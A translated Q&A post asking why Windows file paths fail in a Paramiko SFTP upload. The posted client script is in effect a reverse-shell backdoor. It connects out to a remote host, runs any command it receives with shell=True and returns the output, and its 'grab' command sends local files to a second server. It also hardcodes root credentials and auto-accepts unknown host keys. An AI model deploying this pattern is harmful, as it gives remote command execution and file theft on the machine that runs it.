Paramiko: Ошибка с путями к файлам Windows при передаче файла по SFTP - PullRequest
0 голосов
/ 27 апреля 2018

В настоящее время я работаю над настройкой сервер-клиент, в которой у меня есть два отдельных серверных сценария. Один скрипт Python отвечает за запуск SSH-прослушивателя с Paramiko, и этот скрипт выполняется на одной машине. У меня есть другой серверный скрипт, специально выполняющий роль SFTP-сервера на другом отдельном компьютере, в том же диапазоне и подсети, что и другой.

Мой клиентский код работает в системе Windows 10. Оба сервера работают в среде Unix (macOS и Ubuntu 16.04 соответственно).

SFTP-сервер, который я использую, имеет точное название sftpserver и доступен по адресу https://github.com/rspivak/sftpserver/.

.

Приведенный ниже код фактически является полным моим client.py без учета операторов импорта.

key = paramiko.RSAKey.from_private_key_file('testkey.key')

transport = paramiko.Transport(('192.168.1.116', 10000))
transport.connect(username='root', password='toor', pkey=key)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('192.168.1.107', username='root', password='toor')
chan = client.get_transport().open_session()
chan.send("Hey man! I'm connected!")
print(chan.recv(1024))


def sftp(localpath, name):
    try:
        sftp = paramiko.SFTPClient.from_transport(transport)
        sftp.put(localpath, '/root/uploads/' + name)
        sftp.close()
        transport.close()
        return "<+> Done uploading"

    except Exception as e:
        return str(e)


while True:
    command = chan.recv(1024).decode()
    ipdb.set_trace() // <-- debugging purposes only
    if 'grab' in command:
        _, path, name = command.split(' ')
        chan.send(sftp(path, name))
    else:
        try:
            CMD = subprocess.check_output(command, shell=True)
            chan.send(CMD)
        except Exception as e:
            chan.send(str(e))

client.close()

Выполнение команды grab в моем скрипте выглядит следующим образом:

grab C:\Users\xxx\testing.txt testing.txt

Теперь, если я напишу точно такой же путь (с обратной косой чертой), он добавит второй обратный слеш после каждого. Итак, путь, который я указал, теперь выглядит как C:\\Users\xxx\\testing.txt, и это то, что я предполагаю, заставляет меня получать File not found ошибки. Благодаря pdb мне удалось найти эту проблему, но я не уверен, как продолжить. Честно говоря, я совершенно не уверен, связана ли эта проблема с paramiko или с каким-то странным поведением Python, с которым я еще не сталкивался.

Кроме того, извините за отсутствие трассировки стека. Я постараюсь получить один, если это возможно, но я немного настаиваю на времени прямо сейчас.

...